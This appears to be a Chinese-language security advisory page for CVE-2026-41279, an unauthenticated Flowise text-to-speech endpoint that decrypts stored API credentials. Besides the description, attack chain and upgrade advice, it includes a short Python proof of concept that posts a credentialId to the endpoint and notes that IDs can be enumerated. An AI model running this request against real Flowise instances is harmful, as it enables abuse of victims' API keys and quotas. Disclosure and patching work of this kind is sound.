IPBUF安全漏洞报告
English
CVE-2026-41279 CVSS 7.5 高危

CVE-2026-41279 Flowise API凭证解密漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41279
漏洞类型
访问控制缺失
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flowise

相关标签

访问控制缺失信息泄露FlowiseCVE-2026-41279

漏洞概述

Flowise是一个用于构建定制化大语言模型流程的拖放式用户界面。在3.1.0版本之前,其文本转语音生成端点(POST /api/v1/text-to-speech/generate)被配置在白名单中,无需身份验证即可访问。该端点存在逻辑缺陷,直接接受请求体中的credentialId。当攻击者在请求中省略chatflowId并提供有效的credentialId时,系统会利用该ID解密存储的第三方凭据(如OpenAI或ElevenLabs API密钥)并执行语音生成。这可能导致未授权的API调用及敏感凭据的滥用。

技术细节

该漏洞源于Flowise在处理文本转语音请求时的权限校验逻辑缺失。受影响版本的代码未对`/api/v1/text-to-speech/generate`接口实施身份认证,且未严格校验关联的上下文(chatflowId)。攻击者可以构造特定的HTTP POST请求,仅包含目标凭证的ID(credentialId)。当服务端接收到此类请求时,会误认为这是合法的内部调用,从而调用解密模块获取明文的API密钥,并利用该密钥调用外部服务(如OpenAI)生成语音。虽然CVSS评分主要侧重于可用性影响,但该行为实质上允许攻击者滥用受害者的API配额,并在特定情况下可能通过响应包或日志信息泄露解密后的敏感凭证。

攻击链分析

STEP 1
信息收集
攻击者识别出目标网络中运行的是Flowise应用,且版本低于3.1.0。
STEP 2
漏洞利用
攻击者向`/api/v1/text-to-speech/generate`端点发送POST请求,在请求体中包含`credentialId`,但不包含`chatflowId`。
STEP 3
凭证解密与滥用
服务器接收请求后,由于缺乏认证和上下文校验,直接使用提供的ID解密存储的API密钥,并利用该密钥执行语音生成任务。
STEP 4
影响达成
攻击者成功消耗受害者的API配额,或根据具体实现泄露敏感的明文凭证信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL of the vulnerable Flowise instance target_url = "http://<target-ip>:3000/api/v1/text-to-speech/generate" # The vulnerable endpoint accepts a credentialId without checking chatflowId or authentication # An attacker can iterate IDs to find valid credentials headers = { "Content-Type": "application/json" } # Example payload exploiting the vulnerability # Replace 'target_credential_id' with a valid ID found via enumeration or known default payload = { "credentialId": "target_credential_id", "text": "Test speech generation", # Note: 'chatflowId' is omitted to trigger the vulnerable logic path } try: response = requests.post(target_url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Request successful. The endpoint processed the request using the decrypted credential.") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Flowise < 3.1.0

防御指南

临时缓解措施
建议立即升级到修复版本3.1.0。如果暂时无法升级,应在应用网关层面禁用或严格限制对`/api/v1/text-to-speech/generate`接口的访问,仅允许受信任的内网IP调用,以防止未授权的凭证解密和API调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表